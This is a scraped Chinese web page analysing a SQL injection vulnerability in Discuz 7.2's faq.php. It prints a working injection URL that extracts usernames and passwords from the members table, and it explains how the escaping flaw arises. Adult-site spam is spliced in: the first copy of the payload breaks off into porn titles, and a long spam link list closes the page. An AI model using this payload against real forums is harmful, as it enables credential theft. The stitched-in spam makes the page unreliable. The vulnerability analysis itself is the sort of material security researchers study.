復制代碼 代碼如下:
http://www.jb51.net/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0 " /> 在线观看亚洲 日韩 国产,天美传媒在线完整免费观看网站 ,亚洲精品视频在线播放

天天躁日日躁狠狠躁AV麻豆-天天躁人人躁人人躁狂躁-天天澡夜夜澡人人澡-天天影视香色欲综合网-国产成人女人在线视频观看-国产成人女人视频在线观看

Discuz7.2版的faq.php SQL注入漏洞分析

注入代碼實例:
復制代碼 代碼如下:
http://www.jb51.NET/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

漏洞分析: by phithon

復制代碼 代碼如下:
($action == 'grouppermission') {

...
        ksort($gids);
        $groupids = array();
        foreach($gids as $row) {
                $groupids[] = $row[0];
        }

        $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
...
}
function implodeids($array) {
        if(!empty($array)) {
                return "'".implode("','", is_array($array) ? $array : array($array))."'";
        } else {
                return '';
        }
}

首先定義一個數組groupids,然后遍歷$gids(這也是個數組,就是$_GET[gids]),將數組中的所有值的第一位取出來放在groupids中。

為什么這個操作就造成了注入?

discuz在全局會對GET數組進行addslashes轉義,也就是說會將'轉義成/',所以,如果我們的傳入的參數是:gids[1]='的話,會被轉義成$gids[1]=/',而這個賦值語句$groupids[] = $row[0]就相當于取了字符串的第一個字符,也就是/,把轉義符號取出來了。

再看后面,在將數據放入sql語句前,他用implodeids處理了一遍。我們看到implodeids函數

很簡單一個函數,就是將剛才的$groupids數組用','分割開,組成一個類似于'1','2','3','4'的字符串返回。

但是我們的數組剛取出來一個轉義符,它會將這里一個正常的'轉義掉,比如這樣:
'1','/','3','4'
有沒有看出有點不同,第4個單引號被轉義了,也就是說第5個單引號和第3個單引號閉合。

php技術Discuz7.2版的faq.php SQL注入漏洞分析,轉載需保留來源!

鄭重聲明:本文版權歸原作者所有,轉載文章僅為傳播更多信息之目的,如作者信息標記有誤,請第一時間聯系我們修改或刪除,多謝。

主站蜘蛛池模板: 国产精品一区二区20P | yin荡体育课羞耻play双性 | 亚洲综合色五月久久婷婷 | 色小妹影院 | 国产又粗又黄又爽的大片 | 99久久99久久精品国产片果冻 | 国产在线精品亚洲观看不卡欧美 | 99re久久这里只有精品 | 国产精品夜夜春夜夜爽久久小 | 天美传媒MV高清免费看 | 亚洲日本欧美国产在线视 | 最近日本MV字幕免费观看在线 | 狠狠色狠狠色综合 | 欧美5g影院天天爽天天看 | 校花被扒衣吸乳羞羞漫画 | 中文字幕视频在线免费观看 | 欧美精品一区二区三区四区 | 村妇偷人内射高潮迭起 | 小776 论坛 | 亚洲欧美日韩另类精品一区二区三区 | 俄罗斯美女破处 | 精品亚洲国产熟女福利自在线 | 51xx午夜影视福利 | 簧片免费观看 | 精品无码国产自产在线观看水浒传 | 国产精品96久久久久久AV不卡 | 在线 自拍 综合 亚洲 欧美 | 精品国产品国语在线不卡丶 | 伊人久久大香线蕉电影院 | 久久久久久久尹人综合网亚洲 | 亚洲卫视论坛 | 广东95后小情侣酒店自拍流出 | 国产精品无码久久av | 正在播放一区二区 | 久久亚洲精品成人 | 亚洲AV一宅男色影视 | 蜜臀亚洲AV永久无码精品老司机 | 麻豆精品无码久久久久久久久 | 国产人妻麻豆蜜桃色精 | 国产网址在线观看 | 果冻传媒在线观看高清完整免费 |